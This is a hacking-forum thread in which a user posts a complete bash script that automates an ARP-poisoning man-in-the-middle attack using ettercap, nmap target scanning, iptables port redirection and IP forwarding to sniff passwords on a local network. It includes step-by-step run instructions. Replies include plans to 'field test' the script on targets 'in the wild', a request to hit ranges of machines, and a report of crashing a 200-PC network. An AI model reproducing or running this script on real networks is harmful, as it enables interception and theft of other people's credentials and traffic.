Forum:Hack Forums

Thread: [Script]Automated script for MITM attack and password sniffing![/Script]

ac1dxtrem - *October 24, 2010, 6:03 am*

MITM Script

Some time ago, I posted a tutorial for password and msn conversation sniffing using MITM attack. This script is specially written, for the purpose to make that tutorial more useful to people, that are not able to find their way using CLI programs and their commands. I strongly advise each one of you, first to read the tutorial. That way you can know what actually happens in the background and understand the method better. Here is the link of the tutorial:

https://hackforums.net/showthread.php?tid=695677

After you read the whole tutorial, you are ready to follow the basic instructions on how to use this script. I was thinking a lot of whether to give the source code due to leeching, but I don't really give a damn about it, so I figured it will be more useful to people who want to learn, if they also had the source code. Here is the source code:

http://pastebin.com/QcqLqj6U

In my tutorial I used Ettercap+SSLstrip and in my script I'm using only ettercap. The reason why I am doing that is because after a lot of testing, I found out that the Ettercap build in sslstriper makes problems when it's combined with SSLstrip. And that SSLstrip works a lot better combined with Arpspoof for the arppoisoning and Ettercap is run only in sniffing mode. Anyway Ettercap build in sslstriper works fine so I decided to use only Ettercap instead of Arpspoof+SSLstrip. If some of you want to have an Arpspoof+SLLstrip+Ettercap version of this script I will make that one too.

In order to use this script, you will have to copy-paste the above code in an empty file and save the file as ANYNAME.sh. Once that is done you will have to change the permissions via terminal like this:

Code chmod 755 filename
In our case we will replace filename with our script name, but before we type this command we have to navigate to the folder that contains our script using the cd command:

Code cd folderpath
Replace folderpath with the path of your folder. Also another possible solution would be instead of navigating to the folder to use:

Code chmod 755 filepath

Once the permissions are changed, you can execute the script by navigating to the folder that

contains this script via terminal and typing:

Code ./scriptname
Replace scriptname with the name of your script.

THE END

p.s. ALL YOU NEED TO KNOW IN ORDER TO USE THIS SCRIPT IS ENGLISH !!!

sLiPpErY - *October 24, 2010, 6:09 am*
Leeching is a problem, one reason I took my link to my tool down. I think you know alot more than most here and think you should start a blog at blogspot or somewhere, I'd follow.

ac1dxtrem - *October 24, 2010, 6:29 am*
(Oct 24, 2010 06:22 AM)??¢??? Wrote: *[CITE]* https://hackforums.net/showthread.php?tid=339758

i made a better tut :P
... Do you know the difference between a script and a tut ? And I'm sorry but your tut is not better then mine for which this script is written :)

sLiPpErY - *October 24, 2010, 9:31 am*
Because I know people will read this thread because it's something they need to learn, both MiTM and scripting... I'll put this link here.. I want to help out the wifi guys..

https://hackforums.net/showthread.php?tid=763479

ac1dxtrem - *October 25, 2010, 12:18 pm*
(Oct 24, 2010 09:31 AM)sLiPpErY Wrote: *[CITE]* Because I know people will read this thread because it's something they need to learn, both MiTM and scripting... I'll put this link here.. I want to help out the wifi guys..

https://hackforums.net/showthread.php?tid=763479
Looks like you are not anymore with us... Anyway I know that leeching is a problem but I kinda feel generous :)

-=HeX=- - *November 20, 2010, 10:37 am*
Mate, the script keeps giving me wierder then fuck errors in BT4. Care to PM me the original? I think maybe it was tampered with on pastebin.

ac1dxtrem - *November 21, 2010, 4:56 am*
Sure man I will send it to you in inbox :)

ac1dxtrem - *November 21, 2010, 6:16 am*
Code #!/bin/bash
#Program MITM
#Variables
install1=""
proba=0
gateway=""
interface=""
answer=""

```
#Functions
function INTRO
{
clear
echo "##
#     #
#  Welcome to the MITM Sniffing attack brought to you by    #
#     #
#            -ac1dxtrem     #
#     #
##"
echo
}
function INSTALL-debian
{
   apt-get install ettercap
   apt-get install nmap
}
function INSTALL-redhat
{
   yum install ettercap
   yum install nmap
}
function Find_Gateway
{
   INTRO
   route -n | grep 'UG[ \t]' | awk '{print $2}'
   echo
   echo "Please confirm your gateway IP address by typing it..."
   read gateway
}
function Type_gateway
{
   INTRO
   echo "Please type your gateway IP address..."
   read gateway
}
function Find_Target
{
   INTRO
   nmap -sP $gateway/24
   echo
   echo "Here is a list of live targets. Please type the IP address of your target..."
   read target1
}
function Type_Target
{
   INTRO
   echo "Please type the IP address of your target..."
   read target1
}
function Interface1
{
```

```
    INTRO
    ifconfig
    echo "Please type your interface? Use the interface that has your IP address listed..."
    read interface
}

function MITM
{
INTRO
echo "Requirements:
-ettercap
-nmap

If you have these apps, press 'y'. If not, press 'i' to install them."
read install1

INTRO

case $install1 in
  "y" ) echo "Good Job";;
  "i" ) echo "Do you use Debian or RedHat distribution ?( use lowercase letters )"
     read distribution
     case $distribution in
    "redhat" ) INSTALL-redhat;;
    "debian" ) INSTALL-debian;;
       esac
       ;;
esac

INTRO

echo "Welcome to the target sellection part. Pres any key to continue..."
read

INTRO

echo "Do you like to sniff the whole network or a single target only ? Type whole/single?"
read target

INTRO

echo "Do you know your gateway IP address ? y/n?"
read answer
case $answer in
    "y") Type_gateway;;
    "n") Find_Gateway;;
esac

case $target in
    "whole") target1=""
    ;;
    "single") INTRO
            echo "Do you know the IP address of your target ? y/n ?"
```

```
        read answer

        case $answer in
          "y") Type_Target;;
          "n") Find_Target;;
        esac
    ;;
esac

Interface1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

echo 1 > /proc/sys/net/ipv4/ip_forward

INTRO

ettercap -T -i $interface -q -M arp:remote /$gateway/ /$target1/

}

MITM
```

Here is the original script with some minor modifications. In this version of the script I'm using only Ettercap with the built in SSLStrip plugin instead of Ettercap+SSLStrip. Also be aware that error catching system is not made 'cause I was to lazy :) So if you miss type something you will probably have to start from the beginning. I tried to PM you but there were some errors so I just replied here. Please give back your feedback after testing... :)

-=HeX=- - *November 21, 2010, 11:44 am*

It works now on both BackTrack 4 and Ubuntu 10.04LTS

But I have not tested it on targets in the wild, just on my own net work....

In a few days it will get field tested! NICE script man!!

ac1dxtrem - *November 21, 2010, 12:35 pm*

I am glad you like it :) For a moment I thought that no one liked it 'cause people here are so fucking scared of codes and they don't understand scripting either... Anyway please keep me posted in this thread about any problems bugs or ideas :)

SIM-111414 - *November 21, 2010, 10:44 pm*

Very good man.
Keep it up bro.

-=HeX=- - *November 23, 2010, 1:37 am*

A variant incorporating ARP spoofing/poisoning would make life a shitload easier... Because often it takes far too damn long to get set up and all that when all one DOESN'T have is time!

Excellent work!

ac1dxtrem - *November 30, 2010, 1:21 am*

(Nov 23, 2010 02:37 AM)-=HeX=- Wrote: *[CITE]* A variant incorporating ARP spoofing/poisoning would make life a shitload easier... Because often it takes far too damn long to get set up and all

that when all one DOESN'T have is time!

Excellent work!
Thanks man I fully agree with you :) If you have any suggestion please share them with me I may code a second version with more options :)

ginbot - *December 26, 2010, 7:56 pm*
Thank you man this is an awesome post

overdoze - *December 27, 2010, 8:35 am*
Awesome script man, saves a bit of time, thanks :)

Slowey Awesome - *December 27, 2010, 9:52 am*
Thanks a ton! This is a big time saver. Thanks for posting the source, too. I was considering making a script for a basic WEP crack and seeing other people's code helps me figure out what I'm doing.

ac1dxtrem - *December 27, 2010, 3:37 pm*
Sure m8 this is an educational thread also... :) I would be honored if someone learn something from me :) Also bear in mind that this is written in 20-30 minutes and this can be done a lot better :) Anyway this is tested and works for that you can be sure :)

Middle - *December 27, 2010, 5:12 pm*
I was thinking that we could develop a bash suite for educational means. Like a Bash script that taught a user HOW to crack WEP, and then do one for every "Task", then make a suite and release them as a set.

ac1dxtrem - *December 27, 2010, 5:21 pm*
(Dec 27, 2010 06:12 PM){Middle} Wrote: *[CITE]* I was thinking that we could develop a bash suite for educational means. Like a Bash script that taught a user HOW to crack WEP, and then do one for every "Task", then make a suite and release them as a set.
Sure why not... :) We will talk about it on IRC :)

-=HeX=- - *December 28, 2010, 5:36 am*
Right. What we need now is a BASH script that will do the following.
*ARP poison the 'hosts'
*Man In The Middle them to intercept the traffic
*Run SSL Strip to decipher all the SSL shit
*output into a nice text document

Who is up for it? Code it for BackTrack 4... Most useful!

Then middle can incorporate it into WiPhire or something for moar awesomes :D

Middle - *December 28, 2010, 6:29 am*
HeX the MITM attack in WiPhier does that

And i think that this script does as well

-=HeX=- - *December 28, 2010, 6:50 am*
My bad :)

Just things kept breaking but I think thats my own fault :)

ac1dxtrem - *December 28, 2010, 10:24 am*
(Dec 28, 2010 06:36 AM)-=HeX=- Wrote: [CITE] Right. What we need now is a BASH script that will do the following.
*ARP poison the 'hosts'
*Man In The Middle them to intercept the traffic
*Run SSL Strip to decipher all the SSL shit
*output into a nice text document

Who is up for it? Code it for BackTrack 4... Most useful!

Then middle can incorporate it into WiPhire or something for moar awesomes :D
... that is exactly what this script does man. ?

LittleSpy - *December 30, 2010, 5:49 pm*
great tutorial,this is real hacking bro !
5/5 no comment :]

ac1dxtrem - *December 30, 2010, 7:47 pm*
(Dec 30, 2010 06:49 PM)LittleSpy Wrote: [CITE] great tutorial,this is real hacking bro !
5/5 no comment :]
Thanks a lot m8 if you have any questions feel free to ask me :)

(Dec 30, 2010 06:49 PM)LittleSpy Wrote: [CITE] great tutorial,this is real hacking bro !
5/5 no comment :]
Thanks a lot m8 if you have any questions feel free to ask me :)

-=HeX=- - *January 6, 2011, 4:02 pm*
My god, I fixed my problems on my laptop.
Was a silly bug in the 'User' of it, called 'being a sleep deprived idiot'.

So I edited my python config to 'import sleep' for a few hours and allw as well :D

This is a NICE script. I like it a lot :D

BTW, any of ye looked at Wi-fEye? Its in Python and I use it a LOT. Its AWESOME.

colapsys - *January 7, 2011, 3:39 am*
hello to u all.

this is my first post soo please be gentle :)

regarding the MITM actions , i have a little problem : anytime i do a mitm attack to my network (over 200 pc-s) i get a beautiful netwok cracsh ! i know that is not a good ideea to use mitm and arp poisioning to large networks but maybe i`m doing something wrong . should i use something else ? no more ettercap ?

help me out .

thx.

regards .

ac1dxtrem - *January 7, 2011, 5:25 am*
On large networks it is not possible to perform a MITM attack if your machine doesn't have a special network card that can control that much traffic. Therefor on large networks you should attack only one machine at the time :)

Middle - *January 7, 2011, 7:05 am*
Is it possible to say target a range of machines, like 192.169.1-50?

ac1dxtrem - *January 7, 2011, 7:10 am*
Probably it is but I think that it is not possible with the normal options. You will have to improvise a bit... For example arp poisoning different targets 50 times one by one... If I find something more useful I will tell you :)

jervasio - *April 21, 2011, 7:07 am*
Very useful script, thanks...:)

P.S:in Ubuntu we need to have root previleges

SB91 - *April 21, 2011, 10:44 pm*
if you're not using sslstrip, what's this for? If ettercap didn't edit iptables, then this would prevent it from working.
Code iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
echo 1 > /proc/sys/net/ipv4/ip_forwardEdit:
also, ssl stripping is not enabled by default by ettercap.

bibleblack - *July 29, 2011, 1:04 am*
hello
I try running the script I get thi error everytime
: command not found9:
'bin/MITM.sh: MITM.sh: line 12: syntax error near unexpected token `{
'bin/MITM.sh: MITM.sh: line 12: ` {

unfortunately I am still a n00b at scripting I tried correcting it without sucess what is wrong?

exc3llent - *July 30, 2011, 8:39 am*
Hm interesting, I didn't know ettercap had a build in ssl stripper. I used to go with nmap->ettercap->sslstrip but experienced some connection interrupts/very slow connections... Probably should have looked more carefully at ettercap... :D
I will give this a try soon, thanks a lot for the script! :)

penguin19985 - *July 31, 2011, 2:24 am*
What the hack = MITM Attack
PM me the Answer ?

ac1dxtrem - *November 14, 2011, 5:37 pm*
MITM is short from Man In The Middle Attack.

Cor22 - *November 26, 2011, 9:56 am*
I like this have just run a test on my own set up very nice looking forward to test it in the field will post if any problems but I do not think so at the moment

ac1dxtrem - *November 28, 2011, 7:37 pm*

Cool glad to hear that its still working :)